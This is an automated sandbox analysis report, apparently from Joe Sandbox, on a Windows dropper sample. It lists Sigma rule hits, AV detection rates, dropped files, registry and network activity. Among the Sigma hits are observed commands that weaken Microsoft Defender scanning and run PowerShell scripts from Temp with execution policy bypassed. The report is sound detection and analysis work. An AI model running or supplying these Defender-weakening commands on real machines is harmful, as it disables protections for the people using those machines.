Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -command "Set-MpPreference -DisableCatchupFullScan 1 -Force", CommandLine: powershell.exe -command "Set-MpPreference -DisableCatchupFullScan 1 -Force", CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\5C5C.tmp\5C5D.tmp\5C5E.bat C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1488, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -command "Set-MpPreference -DisableCatchupFullScan 1 -Force", ProcessId: 6448, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding 061CED878CF19ABE4346D43116706A13, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7068, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", ProcessId: 5152, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding 061CED878CF19ABE4346D43116706A13, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7068, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", ProcessId: 5152, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding 061CED878CF19ABE4346D43116706A13, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7068, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", ProcessId: 5152, ProcessName: powershell.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 185.199.110.133, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 3992, Protocol: tcp, SourceIp: 192.168.2.16, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious MsiExec Embedding Parent

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding 061CED878CF19ABE4346D43116706A13, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7068, ParentProcessName: msiexec.exe, ProcessCommandLine: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue.", ProcessId: 5152, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 656, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6912, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\networkbroker.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	ReversingLabs: Detection: 30%
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	ReversingLabs: Detection: 33%
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	ReversingLabs: Detection: 79%

Multi AV Scanner detection for submitted file

Source: JWQgbclQK5

ReversingLabs: Detection: 69%

Source: JWQgbclQK5

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File created: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\License.txt
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File created: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\LICENSE.txt
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File created: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\node_modules\emoji-regex\LICENSE-MIT.txt
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File created: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\wrap-ansi\node_modules\emoji-regex\LICENSE-MIT.txt
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File created: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\readme.txt

Source: unknown

HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.16:49711 version: TLS 1.2

Source: C:\Windows\System32\msiexec.exe	File opened: z:
Source: C:\Windows\System32\msiexec.exe	File opened: x:
Source: C:\Windows\System32\msiexec.exe	File opened: v:
Source: C:\Windows\System32\msiexec.exe	File opened: t:
Source: C:\Windows\System32\msiexec.exe	File opened: r:
Source: C:\Windows\System32\msiexec.exe	File opened: p:
Source: C:\Windows\System32\msiexec.exe	File opened: n:
Source: C:\Windows\System32\msiexec.exe	File opened: l:
Source: C:\Windows\System32\msiexec.exe	File opened: j:
Source: C:\Windows\System32\msiexec.exe	File opened: h:
Source: C:\Windows\System32\msiexec.exe	File opened: f:
Source: C:\Windows\System32\msiexec.exe	File opened: b:
Source: C:\Windows\System32\msiexec.exe	File opened: y:
Source: C:\Windows\System32\msiexec.exe	File opened: w:
Source: C:\Windows\System32\msiexec.exe	File opened: u:
Source: C:\Windows\System32\msiexec.exe	File opened: s:
Source: C:\Windows\System32\msiexec.exe	File opened: q:
Source: C:\Windows\System32\msiexec.exe	File opened: o:
Source: C:\Windows\System32\msiexec.exe	File opened: m:
Source: C:\Windows\System32\msiexec.exe	File opened: k:
Source: C:\Windows\System32\msiexec.exe	File opened: i:
Source: C:\Windows\System32\msiexec.exe	File opened: g:
Source: C:\Windows\System32\msiexec.exe	File opened: e:
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: c:
Source: C:\Windows\System32\msiexec.exe	File opened: a:

Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs

Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\node_modules
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\build\lib
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\node_modules\emoji-regex
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\node_modules\ansi-regex
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\build
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: raw.githubusercontent.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown

HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.16:49711 version: TLS 1.2

System Summary

Drops large PE files

Source: C:\Windows\SysWOW64\msiexec.exe

File dump: SurrogateServerIntoSvc.exe.35.dr 253000000

Jump to dropped file

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\40c089.msi
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC210.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC26F.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC28F.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC2BF.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC2DF.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC30F.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF839.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF869.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF889.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{AA26797C-3E2C-42C1-A832-A687DE957A1C}
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI963.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI964.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9B3.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9F3.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA22.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBC9.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC28.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC48.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI12E1.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1311.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI20CD.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\40c08c.msi
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\40c08c.msi
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI551D.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI554D.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBF81.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBF92.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBFC2.tmp
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC2C0.tmp

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSIC210.tmp

Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: acgenral.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: winmm.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: samcli.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: msacm32.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: userenv.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: mpr.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: aclayers.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: sfc.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
